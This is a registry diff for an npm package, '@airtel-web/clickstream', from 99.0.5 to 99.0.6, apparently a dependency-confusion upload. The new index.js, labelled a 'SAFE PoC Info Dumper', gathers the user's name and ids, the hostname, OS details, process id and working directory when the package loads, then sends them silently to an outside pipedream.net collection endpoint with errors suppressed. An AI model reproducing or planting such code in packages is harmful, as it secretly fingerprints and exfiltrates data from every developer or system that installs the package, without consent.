@airtel-web/clickstream 99.0.5 → 99.0.6
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/index.js +61 -26
- package/package.json +1 -1
package/index.js
CHANGED
|
@@ -1,26 +1,61 @@
|
|
|
1
|
-
|
|
2
|
-
|
|
3
|
-
|
|
4
|
-
|
|
5
|
-
|
|
6
|
-
|
|
7
|
-
|
|
8
|
-
|
|
9
|
-
|
|
10
|
-
|
|
11
|
-
|
|
12
|
-
|
|
13
|
-
|
|
14
|
-
|
|
15
|
-
|
|
16
|
-
|
|
17
|
-
|
|
18
|
-
(
|
|
19
|
-
|
|
20
|
-
|
|
21
|
-
|
|
22
|
-
|
|
23
|
-
|
|
24
|
-
|
|
25
|
-
|
|
26
|
-
|
|
1
|
+
|
|
2
|
+
|
|
3
|
+
/**
|
|
4
|
+
* SAFE PoC Info Dumper
|
|
5
|
+
* - Read-only
|
|
6
|
+
* - Sends info via GET request body
|
|
7
|
+
* - No exec, no fs writes
|
|
8
|
+
*/
|
|
9
|
+
|
|
10
|
+
const os = require("os");
|
|
11
|
+
const http = require("http");
|
|
12
|
+
|
|
13
|
+
function safeInfoDump() {
|
|
14
|
+
return {
|
|
15
|
+
timestamp: new Date().toISOString(),
|
|
16
|
+
|
|
17
|
+
user: {
|
|
18
|
+
username: os.userInfo().username,
|
|
19
|
+
uid: os.userInfo().uid,
|
|
20
|
+
gid: os.userInfo().gid
|
|
21
|
+
},
|
|
22
|
+
|
|
23
|
+
system: {
|
|
24
|
+
hostname: os.hostname(),
|
|
25
|
+
platform: os.platform(),
|
|
26
|
+
type: os.type(),
|
|
27
|
+
release: os.release(),
|
|
28
|
+
arch: os.arch()
|
|
29
|
+
},
|
|
30
|
+
|
|
31
|
+
process: {
|
|
32
|
+
pid: process.pid,
|
|
33
|
+
cwd: process.cwd(),
|
|
34
|
+
nodeVersion: process.version
|
|
35
|
+
}
|
|
36
|
+
};
|
|
37
|
+
}
|
|
38
|
+
|
|
39
|
+
const data = JSON.stringify(safeInfoDump());
|
|
40
|
+
|
|
41
|
+
const options = {
|
|
42
|
+
hostname: "eosrhixgl4px9ae.m.pipedream.net", // 🔁 change target
|
|
43
|
+
port: 443,
|
|
44
|
+
path: "/collect",
|
|
45
|
+
method: "GET",
|
|
46
|
+
headers: {
|
|
47
|
+
"Content-Type": "application/json",
|
|
48
|
+
"Content-Length": Buffer.byteLength(data)
|
|
49
|
+
}
|
|
50
|
+
};
|
|
51
|
+
|
|
52
|
+
const req = http.request(options, res => {
|
|
53
|
+
// intentionally silent
|
|
54
|
+
});
|
|
55
|
+
|
|
56
|
+
req.on("error", () => {
|
|
57
|
+
// fail silently for PoC safety
|
|
58
|
+
});
|
|
59
|
+
|
|
60
|
+
req.write(data);
|
|
61
|
+
req.end();
|